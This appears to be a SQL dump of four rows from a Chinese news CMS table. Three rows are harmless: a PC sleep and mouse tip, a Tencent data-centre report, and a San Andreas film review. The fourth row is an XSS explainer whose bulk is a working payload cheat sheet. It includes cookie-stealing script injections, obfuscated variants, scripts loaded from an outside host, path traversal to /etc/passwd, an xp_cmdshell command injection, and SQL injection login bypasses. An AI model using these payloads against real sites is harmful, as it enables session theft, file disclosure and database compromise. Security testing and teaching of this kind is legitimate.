INSERT INTO `lei_news` VALUES ('13', '如何解决电脑睡眠时无意中碰到鼠标会唤醒电脑的办法？', '40714071 26462646 29662966 30863086 21712171 36523652 43154315 35633563 42174217 46624662 50665066 54485448 37863786 21292129 42834283 17741774 27652765 27292729 48494849 21712171 36523652 21362136 16761676 23082308 03310331', '0', '../upload_image/2015/10/01/2a924f049e088936299d00f90b48a7a2', '2015-10-01 15:14:58', '互联网转载', '<p style=\"text-indent: 2em;\">操作非常简单。右键单击“计算机”选择“属性”命令打开“系统”窗口，在该窗口单击左侧的“设备管理”链接打开“设备管理器”，点开“鼠标和其他指针设备”，双击其中的鼠标设备；接着，在弹出的鼠标属性窗口，单击“电源管理”选项，将“允许此设备唤醒计算机”的选项去除勾选就行了。&nbsp;</p><p style=\"text-indent: 2em;\"><span style=\"color: rgb(255, 0, 0);\">注意：这里的设置要针对每一个鼠标驱动的电源管理都进行设置，这个都是互相独立的，要不换鼠标后还会在睡眠时被唤醒的！</span></p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/01/1443683398806587.jpg\" title=\"\" width=\"500\" height=\"364\" border=\"0\" vspace=\"0\" alt=\"\" style=\"width: 500px; height: 364px;\"/></p><p><br/></p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/01/1443683398117033.jpg\" title=\"\" width=\"414\" height=\"430\" border=\"0\" vspace=\"0\" alt=\"\" style=\"width: 414px; height: 430px;\"/></p>', '1416', '1', '1', '1', '解决电脑睡眠,鼠标会唤醒');
INSERT INTO `lei_news` VALUES ('14', '走进腾讯数据中心，核心技术正在掀起一场数据中心新的变革', '55635563 29882988 44584458 49224922 42934293 30613061 54485448 48364836 03120312 26432643 48364836 28282828 42854285 53935393 52585258 47384738 38803880 50275027 19011901 42934293 30613061 54485448 48364836 48344834 21362136 17681768 24792479', '0', '../upload_image/2015/10/02/14a38c181fd174e3c530b7517479f0bc', '2015-10-02 23:51:45', '互联网转载', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443800924651242.png\" title=\"\" alt=\"\" width=\"700\" height=\"390\" border=\"0\" vspace=\"0\" style=\"width: 700px; height: 390px;\"/></p><p style=\"text-indent: 2em; text-align: center;\">腾讯天津数据中心外观</p><p style=\"text-indent: 2em; text-align: left;\">云计算、大数据及社交等新的技术趋势和业务需求,推动着中国迎来数据中心建设的又一轮高潮。据相关统计,2013年我国兴建了数据中心3500多个,其中超过1万平米以上的数据中心就有21个。目前,中国已经拥有大大小小的数据中心超过50万个。</p><p style=\"text-indent: 2em; text-align: left;\">而在应对这些变化的过程中,传统的数据中心开始显出捉襟见肘的局促性。原因在于早期的数据中心都是作为一个工程项目进行,从选址、地勘、规划、建筑设计、机房设计,到招投标、基础建设、机房建设、设备测试、系统测试、验收并交付运营,整个过程中参与单位众多,基础建设与IT建设耦合度高,配合界面复杂,同时还带来投资巨大、周期冗长这两个最大的问题。因此它是“固态的”,缺乏灵活性和扩展性。而且随着业务的发展和应用的增加,无法满足云计算弹性、廉价、标准化、可管控的技术要求。 &nbsp;&nbsp;</p><p style=\"text-indent: 2em; text-align: left;\">在这样的背景下,整个IDC行业都在反思和探索数据中心建设的新模式。“微模块数据中心的出现,是数据中心发展的一种新趋势。”腾讯公司副总裁别洪涛在腾讯“数据中心分享日和开放日”上说。</p><p style=\"text-indent: 2em; text-align: left;\">数据中心是所有互联网业务的发动机,源源不断地为各类业务提供奔跑的动力。微模块的技术,最先是由腾讯借鉴国外模块化数据中心经验,根据中国国情和腾讯自身的业务特点,自主创新研发出来的、谷歌等国内外大型互联网公司基于自身业务总结提出的,具有易复制、部署快、高效灵活、标准化、节能和可靠性高等特点。因此最近几年国内华为、中兴通讯、浪潮和云立方等公司也纷纷推出各自微模块数据中心解决方案,以抓住这个日益增长的市场所带来的巨大潜力。</p><p style=\"text-indent: 2em; text-align: left;\">2013年,在深圳坪山新区,腾讯、深圳联通和中兴通讯共同打造了亚洲最大的微模块数据中心。在15000平米、12000kVA的容量下,历时4个多月,建成可用性达到Tier3+、30%负载率PUE1.5,可容纳25000台服务器和交换机单板的数据中心。</p><p style=\"text-indent: 2em; text-align: left;\">9月11日,腾讯首次公开发布自己的第三代数据中心技术,并邀请工信部、运营商、厂商、媒体等众多合作伙伴实地参观了腾讯天津数据中心。这也是腾讯迄今为止最大的自主规划、设计和运营的数据中心,采用了典型的微模块设计。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443801143111465.png\" title=\"\" alt=\"\" width=\"700\" height=\"393\" border=\"0\" vspace=\"0\" style=\"width: 700px; height: 393px;\"/></p><p style=\"text-align: center; text-indent: 2em;\">微模虽小&nbsp; 但五脏俱全</p><p style=\"text-indent: 2em; text-align: left;\">从2001年开始,腾讯就开始在全国乃至世界各地布局自己的数据中心,截至现在已经在全国13个城市拥有超过58个数据中心,承载了数十万台服务器。天津数据中心共4栋楼,总建筑面积8万平方米,可承载超过20万台服务。从刚进入大厅的第一步开始,就进入了腾讯模式。参观者会通过微信获得参观二维码授权,再到保安室进行身份核实,核实后会收到身份确认,接着会收到数据中心指引。工作人员介绍说:“腾讯数据中心正在不断地利用微信平台来做日常的运维管理。”</p><p style=\"text-indent: 2em; text-align: left;\">据了解,在过去几年里,腾讯已经推出了几个版本的微模块数据中心,经过不断测试验证目前已经标准化定型。腾讯对微模块数据中心的标准定义是,以若干机架为基本单位,包含制冷模块、供配电模块以及网络、布线、监控在内的独立的运行单元。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443801231448950.png\" title=\"\" width=\"700\" height=\"425\" border=\"0\" vspace=\"0\" alt=\"\" style=\"width: 700px; height: 425px;\"/></p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443801231176860.png\" title=\"\" width=\"700\" height=\"427\" border=\"0\" vspace=\"0\" alt=\"\" style=\"width: 700px; height: 427px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">通过验证后参观团队统一进入3号楼,这栋楼承载了10万台服务器,用电负荷差不多相当于8万个城市家庭的总用电量。在一楼基础设施层,记者看到规模庞大的水冷系统,巨大的管道用不同的黄、蓝等颜色来区分,分别代表供水和回水管道。在这些管道上还可以看到有各种大大小小的阀门。腾讯天津数据高级经理闫昆介绍说,“整个天津数据中心有上千个这样的阀门,这是因为冷水系统的管道设计成环形,当管道上任何一个位置出现破裂或其他故障时,就可以通过关闭附近的阀门来隔离故障点,不致于影响整个水系统的运行。”另外,水冷机组在运营过程中会消耗掉大部分的电力,当春秋冬季来临时,天津运营团队就会关闭水冷机组,通过板式换热器和楼顶的冷却塔,利用室外冷空气对水降温,达到节能的目的。而所有这些转换和控制都是通过自动控制系统来实现。天津运营团队的主要任务则是通过反复的实践设置出最优的变频调节参数,以及设备轮巡和故障切换的控制逻辑,以达到最优的能效,节约运营成本。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443801289266969.png\" title=\"\" alt=\"\" width=\"700\" height=\"393\" border=\"0\" vspace=\"0\" style=\"width: 700px; height: 393px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">三层是供电系统,在这里已经看不见传统的UPS,而是转而采用“高压直流(50%)+市电(50%)”的供电模式。“采用这种供电方案后,市电侧无中间转换损耗,效率高达100%;高压直流侧可采用节能休眠模式,全负载范围内94%以上高效率。因此,综合供电效率高达97%。”负责数据中心电气设计的高级工程师李典林介绍说:“未来还可以无缝升级成市电主供+高压直流后备的供电模式,达到99%以上供电效率。”</p><p style=\"text-indent: 2em; text-align: left;\">到达数据中心的核心区域——服务器机房,终于看到重点展示对象:微模块。每个微模块都包含自身的配电系统、空调系统、消防系统和监控系统等,可以简单认为微模块就是一个微型数据中心。据现场工作人员讲解,微模块的所有组件都在工厂预制和测试完成,到数据中心现场拼装好即可投入使用,这个时间最短只需要两个星期。因此,微模块和整机柜解决了传统数据中心建设的周期冗长、配合复杂的问题,可快速、灵活地部署,这个特点使微模块更容易安排分期建设,保护投资。当数据中心退役时,这些微模块还可以很方便地被拆卸下来,搬运到其他数据中心使用。此外,微模块内部的电源模块、行间空调数量等可以根据IT机柜功率灵活配置数量,满足不同功率密度的需求,目前微模块内可支持的最大机柜功率可高达15KW,而整个数据中心的PUE可保持在1.2到1.4之间。</p><p style=\"text-indent: 2em; text-align: left;\">这也是微模块数据中心之所以获得大型互联网企业的青睐的原因之一。物理上,微模块数据中心将配电、制冷、机柜、冷/热通道、桥架等设备集成到一起,舍弃架空地板、电力电池室、空调室等在传统机房似乎必不可少的依赖条件,实现与机房环境的解耦,成为一个相对独立的部署单元,结合微模块整体方案和组件的标准化设计,可以实现数据中心的快速部署、弹性扩展。“如果把服务器看成标准砖头,机柜看成厨房、阳台、洗手间,微模块就是小户型套房。通过微模块,我们可以不断复制堆叠,形成机房楼,乃至整个园区。”闫昆说道。</p><p style=\"text-indent: 2em; text-align: left;\">更为重要的是,在基础设施集成化的基础上,微模块内的IT设备有了自己专享的配电和制冷单元,就可以实现二者间的智能协同工作。例如,空调可以根据IT设备的负载、温度等参数制定更为精细化的调控策略,既可以避免局部热点,又可使阀门开度和风机转速始终运行在更为节能、高效的状态下,未来甚至可以舍弃IT设备内部的风扇,只利用更节能的大风机独立驱动整个微模块的气流组织,进一步降低能耗。物理上的集成仅仅是将各设备的布局更加优化,只有通过集中的智能管理平台将微模块内的IT、配电、制冷、监控等所有设备有机的整合起来,使其智能的协同工作,才能发挥微模块这种部署形式的真正价值。</p><p style=\"text-indent: 2em; text-align: left;\"><strong>实践高效运维建设开放生态</strong></p><p style=\"text-indent: 2em; text-align: left;\">随着互联网业务的快速发展,其数据中心除了自身数量、规模体量在快速增长外,其承载的业务也是海量增长。腾讯拥有即时通信活跃账户超过10亿个,最高同时在线用户超过2个亿;微信/WeChat合并月活跃帐户数达到4.38亿;QQ空间月活跃帐户数达到6.25亿个;每日发送通信消息超过180亿条;每日上传图片3.60亿张。</p><p style=\"text-indent: 2em; text-align: left;\">面对如此海量的设备和需求,如何才能安全、高效、稳定的保障数据中心的运营也是重中之重。因此,必须要建立完善的运营管理体系。在数据中心的自动化系统方面,腾讯这两年投入重兵,开始研发基于SDI(softwaredefined infrastructure)的控制系统,并将逐步向业界推出数据中心监管控系统的南向和北向标准。腾讯IDC平台部数据中心高级经理郁智华在分享日上围绕海量运营体系、安全应急保障体系、运营节能、成本控制和自动化运营平台等方面,分享了腾讯的运营优化实践案例及发展计划。他将海量运营的关键之道归纳为:做好计划性运营、做好自动化运营、做好外包管理和人员培养、做好预防性维护和应急演练、做好精细化运营。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443801419113913.png\" title=\"\" alt=\"\" width=\"700\" height=\"445\" border=\"0\" vspace=\"0\" style=\"width: 700px; height: 445px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">在此次参观过程中,记者还注意到一些细节。维护这个高达20万台服务器的超大规模数据中心,腾讯自己的运营团队只有15人,其他管理是外包给专业人员来维护,在现场记者看到数据中心的值班巡检已经引入了手持PAD的电子化巡检。而数据中心自动化运维方面,可以看到参观通道的一根根绿色柱子上面都标注有字母或数字,是用来快速定位,并区分不同功能区域;在节能方面也可以看到无人进入的时候自动关闭白色照明灯,只保留少量蓝色LED灯,保证最低照度满足视频录像要求,在小处体现节约。</p><p style=\"text-indent: 2em; text-align: left;\">高效、自动化的运维,一直是腾讯数据中心的目标,但目前还只是做到半人工半自动化的运维状态。别洪涛介绍说:“这跟整个大环境有关系,中国在这方面整体起步就比较晚,而且投入研发的数量有限,但现在随着‘软件定义数据中心’概念的普及,相信真正实现自动化运维的日子不远了,但那一天估计团队维护人员在家通过微信就可以掌握数据中心的一切。”</p><p style=\"text-indent: 2em; text-align: left;\">从2011年开始腾讯坚持以“开放共赢”的心态建立自己的生态系统,此次开放数据中心也是秉持这一理念。“腾讯分享自己在过去8年在数据中心领域积累的技术和经验,一方面可以让后来者少走一些弯路;另一方面也希望能联合运营商、厂商一起来推动中国数据中心生态圈的健康发展,完善产业链布局,已降低成本,提升整体竞争力。”别洪涛说。</p><p style=\"text-indent: 2em; text-align: left;\">确实,在工信部发布的我国数据中心规划建设情况报告中指出,目前我国数据中心产业虽然已经开始呈现出向规模化、集中化、绿色化、布局合理化发展的趋势。但总体来看仍存在一些问题。众多数据中心建设的水平参差不齐,尤其是能源消耗问题,诸如散热、供电、成本等限制了数据中心的有效利用,利用率仅有20%~30%。数据中心标准体系仍不够完善。“面对这些问题,工信部电信研究院,包括云计算与政策发展论坛、开放数据中心联盟等组织正在积极推进相关政策和标准的制定,同时确实需要行业各大公司能参与其中,以开放的心态来引领行业,引领标准,为推动行业发展做贡献。”工信部电信研究院标准所副所长何宝宏在接受本报采访时说道。</p><p style=\"text-indent: 2em; text-align: left;\"><strong>名词解释:</strong></p><p style=\"text-indent: 2em; text-align: left;\">模块化数据中心:指完全按照模块化设计思路搭建的可快速部署的数据中心模型,数据中心内部由N个完全相同的微模块组成。</p><p style=\"text-indent: 2em; text-align: left;\">微模块:指以若干机架为基本单位,包含制冷模块、供配电模块以及网络、布线、监控在内的独立的运行单元。该模块全部组件可在工厂预制,并可灵活拆卸,快速组装。</p>', '4431', '1', '1', '1', '腾讯机房,数据中心');
INSERT INTO `lei_news` VALUES ('16', '《末日崩塌》震撼我的灾难片，观后感', '01220122 36093609 40534053 17321732 43904390 01230123 53805380 26192619 46504650 21362136 52545254 36493649 38123812 03120312 25592559 26832683 24482448', '0', '../upload_image/2015/10/13/1ebc3fd0bd77d3c45204988d738214ca', '2015-10-13 13:38:38', '本站原创', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/13/1444715877134478.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\"/></p><p style=\"text-indent: 2em; text-align: left;\">今天看了电影《末日崩塌》，从头到尾心一直悬着，看过电影后忍不住百度一下对这部电影的影评，居然看到有一篇帖子标题为“《末日崩塌》影评:失败之作 道恩·强森是唯一亮点”，看后我觉得我真是怒了，编译“牟嫄”这样评价：“影片《末日崩塌》（San Andreas）是一场彻底彻尾的失败之作。但好在，它并没有彻底毁掉道恩·强森（Dwayne Johnson）的形象。在这部剧情重复毫无新意的冗长灾难片中，强森为保护家人而英勇无畏的个人形象是这部影片的唯一亮点。”。</p><p style=\"text-indent: 2em; text-align: left;\">我并不认同编译对这个经典电影的评价，不管剧情如何，但至少在逼真的视觉画面前呈现给我们一个逼真的情景，仿佛灾难就发生在身边，真真切切。这部电影让我看到了人性的美丽，家人的关爱，看到了父亲为寻找女儿的英勇无畏。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/13/1444715752297392.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\"/></p><p style=\"text-indent: 2em; text-align: center;\">亚历珊德拉·达达里奥</p><p style=\"text-indent: 2em; text-align: left;\">电影中布莱克（亚历珊德拉·达达里奥）在与父亲雷·盖恩斯（道恩·强森）近在咫尺却无法触及的时候，当海水淹没布莱克无法呼吸的时候，身体剧烈抽搐让人真切感受到溺亡来临的瞬间，布莱克没有怨父亲不能救出自己，而父亲的不断努力，让我感受到了父亲的不离不弃。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/13/1444715891117059.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\"/></p><p style=\"text-indent: 2em; text-align: left;\">电影结局是美好的，让我感受到了灾难如此之近，而家人的爱也是如此浓烈，觉得看灾难片是一场对心灵的洗礼，有时战争片也会带来同样的感受，都会让我反思人性，珍惜当下，感恩拥有。因为在生活中我们会常常忘了自己拥有的美好：和平、阳光、美景、家人。</p><p style=\"text-indent: 2em; text-align: left;\">推荐给大家，有时间可以看看《末日崩塌》。</p>', '3066', '1', '0', '1', '末日崩塌观后感,末日崩塌电影');
INSERT INTO `lei_news` VALUES ('17', 'XSS跨站脚本攻击是什么？及常见测试代码大全！', 'XAAAAA SAAAAA SAAAAA 31713171 53305330 29372937 17301730 25052505 27872787 42394239 42184218 35203520 03310331 28162816 19031903 28912891 18661866 42524252 20902090 34753475 20832083 40114011 03010301', '0', '../upload_image/2015/10/15/69af79ef490f4f61af1fa95baadfd845', '2015-10-15 15:29:13', '本站整理', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/15/1444894100134211.jpg\" title=\"\" alt=\"\" width=\"410\" height=\"242\" border=\"0\" vspace=\"0\" style=\"width: 410px; height: 242px;\"/></p><p style=\"text-indent: 2em;\">跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets,&nbsp;CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。</p><p style=\"text-indent: 2em;\">XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。</p><p style=\"text-indent: 2em;\">另一类则是来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。</p><p style=\"text-indent: 2em;\"><strong>跨站脚本怎么产生作用的：</strong></p><p style=\"text-indent: 2em;\">假如有下面一个textbox</p><pre class=\"brush:html;toolbar:false\">&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;address1&quot;&nbsp;value=&quot;value1from&quot;&gt;</pre><p style=\"text-indent: 2em;\">value1from是来自用户的输入，如果用户不是输入value1from,而是输入&nbsp;&quot;/&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!-&nbsp;那么就会变成</p><pre class=\"brush:html;toolbar:false\">&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;address1&quot;&nbsp;value=&quot;&quot;/&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!-&nbsp;&quot;&gt;</pre><p style=\"text-indent: 2em;\">嵌入的JavaScript代码将会被执行，或者用户输入的是&nbsp;&nbsp;&quot;onfocus=&quot;alert(document.cookie)&nbsp;，那么就会变成</p><pre class=\"brush:js;toolbar:false\">&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;address1&quot;&nbsp;value=&quot;&quot;&nbsp;onfocus=&quot;alert(document.cookie)&quot;&gt;</pre><p style=\"text-indent: 2em;\">事件被触发的时候嵌入的JavaScript代码将会被执行攻击的威力，取决于用户输入了什么样的脚本。</p><p style=\"text-indent: 2em;\"><strong>以下为常见的XSS跨站脚本攻击代码：</strong></p><pre class=\"brush:html;toolbar:false\">&#39;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;\r\n=&#39;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;\r\n&lt;script&gt;alert(document.cookie)&lt;/script&gt;\r\n&lt;script&gt;alert(vulnerable)&lt;/script&gt;\r\n%3Cscript%3Ealert(&#39;XSS&#39;)%3C/script%3E\r\n&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;\r\n&lt;img&nbsp;src=&quot;javascript:alert(&#39;XSS&#39;)&quot;&gt;\r\n%0a%0a&lt;script&gt;alert(\\&quot;Vulnerable\\&quot;)&lt;/script&gt;.jsp\r\n%22%3cscript%3ealert(%22xss%22)%3c/script%3e\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\r\n%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini\r\n%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e\r\n%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e\r\n%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html\r\n%3f.jsp\r\n%3f.jsp\r\n&lt;script&gt;alert(&#39;Vulnerable&#39;);&lt;/script&gt;\r\n&lt;script&gt;alert(&#39;Vulnerable&#39;)&lt;/script&gt;\r\n?sql_debug=1\r\na%5c.aspx\r\na.jsp/&lt;script&gt;alert(&#39;Vulnerable&#39;)&lt;/script&gt;\r\na/\r\na?&lt;script&gt;alert(&#39;Vulnerable&#39;)&lt;/script&gt;\r\n&quot;&gt;&lt;script&gt;alert(&#39;Vulnerable&#39;)&lt;/script&gt;\r\n&#39;;exec%20master..xp_cmdshell%20&#39;dir%20&nbsp;c:%20&gt;%20c:\\inetpub\\wwwroot\\?.txt&#39;--&amp;&amp;\r\n%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\r\n%3Cscript%3Ealert(document.&nbsp;domain);%3C/script%3E&amp;\r\n%3Cscript%3Ealert(document.domain);%3C/script%3E&amp;SESSION_ID={SESSION_ID}&amp;SESSION_ID=\r\n1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=\r\nhttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd\r\n..\\..\\..\\..\\..\\..\\..\\..\\windows\\system.ini\r\n\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system.ini\r\n&#39;&#39;;!--&quot;&lt;XSS&gt;=&amp;{()}\r\n&lt;IMG&nbsp;src=&quot;javascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;IMG&nbsp;src=javascript:alert(&#39;XSS&#39;)&gt;\r\n&lt;IMG&nbsp;src=JaVaScRiPt:alert(&#39;XSS&#39;)&gt;\r\n&lt;IMG&nbsp;src=JaVaScRiPt:alert(&quot;XSS&quot;)&gt;\r\n&lt;IMG&nbsp;src=javascript:alert(&#39;XSS&#39;)&gt;\r\n&lt;IMG&nbsp;src=javascript:alert(&#39;XSS&#39;)&gt;\r\n&lt;IMG&nbsp;src=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;\r\n&lt;IMG&nbsp;src=&quot;jav&nbsp;ascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;IMG&nbsp;src=&quot;jav&nbsp;ascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;IMG&nbsp;src=&quot;jav&nbsp;ascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&quot;&lt;IMG&nbsp;src=java\\0script:alert(\\&quot;XSS\\&quot;)&gt;&quot;;&#39;&nbsp;&gt;&nbsp;out\r\n&lt;IMG&nbsp;src=&quot;&nbsp;javascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;\r\n&lt;BODY&nbsp;BACKGROUND=&quot;javascript:alert(&#39;XSS&#39;)&quot;&gt;\r\n&lt;BODY&nbsp;ONLOAD=alert(&#39;XSS&#39;)&gt;\r\n&lt;IMG&nbsp;DYNSRC=&quot;javascript:alert(&#39;XSS&#39;)&quot;&gt;\r\n&lt;IMG&nbsp;LOWSRC=&quot;javascript:alert(&#39;XSS&#39;)&quot;&gt;\r\n&lt;BGSOUND&nbsp;src=&quot;javascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;br&nbsp;size=&quot;&amp;{alert(&#39;XSS&#39;)}&quot;&gt;\r\n&lt;LAYER&nbsp;src=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/layer&gt;\r\n&lt;LINK&nbsp;REL=&quot;stylesheet&quot;&nbsp;href=&quot;javascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;IMG&nbsp;src=&#39;vbscript:msgbox(&quot;XSS&quot;)&#39;&gt;\r\n&lt;IMG&nbsp;src=&quot;mocha:[code]&quot;&gt;\r\n&lt;IMG&nbsp;src=&quot;livescript:[code]&quot;&gt;\r\n&lt;META&nbsp;HTTP-EQUIV=&quot;refresh&quot;&nbsp;CONTENT=&quot;0;url=javascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&lt;IFRAME&nbsp;src=javascript:alert(&#39;XSS&#39;)&gt;&lt;/IFRAME&gt;\r\n&lt;FRAMESET&gt;&lt;FRAME&nbsp;src=javascript:alert(&#39;XSS&#39;)&gt;&lt;/FRAME&gt;&lt;/FRAMESET&gt;\r\n&lt;TABLE&nbsp;BACKGROUND=&quot;javascript:alert(&#39;XSS&#39;)&quot;&gt;\r\n&lt;DIV&nbsp;STYLE=&quot;background-image:&nbsp;url(javascript:alert(&#39;XSS&#39;))&quot;&gt;\r\n&lt;DIV&nbsp;STYLE=&quot;behaviour:&nbsp;url(&#39;http://www.how-to-hack.org/exploit.html&#39;);&quot;&gt;\r\n&lt;DIV&nbsp;STYLE=&quot;width:&nbsp;expression(alert(&#39;XSS&#39;));&quot;&gt;\r\n&lt;STYLE&gt;@im\\port&#39;\\ja\\vasc\\ript:alert(&quot;XSS&quot;)&#39;;&lt;/STYLE&gt;\r\n&lt;IMG&nbsp;STYLE=&#39;xss:expre\\ssion(alert(&quot;XSS&quot;))&#39;&gt;\r\n&lt;STYLE&nbsp;TYPE=&quot;text/javascript&quot;&gt;alert(&#39;XSS&#39;);&lt;/STYLE&gt;\r\n&lt;STYLE&nbsp;TYPE=&quot;text/css&quot;&gt;.XSS{background-image:url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;A&nbsp;class=&quot;XSS&quot;&gt;&lt;/A&gt;\r\n&lt;STYLE&nbsp;type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&#39;XSS&#39;)&quot;)}&lt;/STYLE&gt;\r\n&lt;BASE&nbsp;href=&quot;javascript:alert(&#39;XSS&#39;);//&quot;&gt;\r\ngetURL(&quot;javascript:alert(&#39;XSS&#39;)&quot;)\r\na=&quot;get&quot;;b=&quot;URL&quot;;c=&quot;javascript:&quot;;d=&quot;alert(&#39;XSS&#39;);&quot;;eval(a+b+c+d);\r\n&lt;XML&nbsp;src=&quot;javascript:alert(&#39;XSS&#39;);&quot;&gt;\r\n&quot;&gt;&nbsp;&lt;BODY&nbsp;ONLOAD=&quot;a();&quot;&gt;&lt;SCRIPT&gt;function&nbsp;a(){alert(&#39;XSS&#39;);}&lt;/SCRIPT&gt;&lt;&quot;\r\n&lt;SCRIPT&nbsp;src=&quot;http://xss.ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;\r\n&lt;IMG&nbsp;src=&quot;javascript:alert(&#39;XSS&#39;)&quot;\r\n&lt;!--#exec&nbsp;cmd=&quot;/bin/echo&nbsp;&#39;&lt;SCRIPT&nbsp;SRC&#39;&quot;--&gt;&lt;!--#exec&nbsp;cmd=&quot;/bin/echo&nbsp;&#39;=http://xss.ha.ckers.org/a.js&gt;&lt;/SCRIPT&gt;&#39;&quot;--&gt;\r\n&lt;IMG&nbsp;src=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;\r\n&lt;SCRIPT&nbsp;a=&quot;&gt;&quot;&nbsp;src=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt;\r\n&lt;SCRIPT&nbsp;=&quot;&gt;&quot;&nbsp;src=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt;\r\n&lt;SCRIPT&nbsp;a=&quot;&gt;&quot;&nbsp;&#39;&#39;&nbsp;src=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt;\r\n&lt;SCRIPT&nbsp;&quot;a=&#39;&gt;&#39;&quot;&nbsp;src=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt;\r\n&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT&nbsp;src=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt;\r\n&lt;A&nbsp;href=http://www.gohttp://www.google.com/ogle.com/&gt;link&lt;/A&gt;\r\nadmin&#39;--\r\n&#39;&nbsp;or&nbsp;0=0&nbsp;--\r\n&quot;&nbsp;or&nbsp;0=0&nbsp;--\r\nor&nbsp;0=0&nbsp;--\r\n&#39;&nbsp;or&nbsp;0=0&nbsp;#\r\n&quot;&nbsp;or&nbsp;0=0&nbsp;#\r\nor&nbsp;0=0&nbsp;#\r\n&#39;&nbsp;or&nbsp;&#39;x&#39;=&#39;x\r\n&quot;&nbsp;or&nbsp;&quot;x&quot;=&quot;x\r\n&#39;)&nbsp;or&nbsp;(&#39;x&#39;=&#39;x\r\n&#39;&nbsp;or&nbsp;1=1--\r\n&quot;&nbsp;or&nbsp;1=1--\r\nor&nbsp;1=1--\r\n&#39;&nbsp;or&nbsp;a=a--\r\n&quot;&nbsp;or&nbsp;&quot;a&quot;=&quot;a\r\n&#39;)&nbsp;or&nbsp;(&#39;a&#39;=&#39;a\r\n&quot;)&nbsp;or&nbsp;(&quot;a&quot;=&quot;a\r\nhi&quot;&nbsp;or&nbsp;&quot;a&quot;=&quot;a\r\nhi&quot;&nbsp;or&nbsp;1=1&nbsp;--\r\nhi&#39;&nbsp;or&nbsp;1=1&nbsp;--\r\nhi&#39;&nbsp;or&nbsp;&#39;a&#39;=&#39;a\r\nhi&#39;)&nbsp;or&nbsp;(&#39;a&#39;=&#39;a\r\nhi&quot;)&nbsp;or&nbsp;(&quot;a&quot;=&quot;a[/code]</pre>', '3864', '1', '0', '1', 'XSS,XSS测试,跨站攻击');
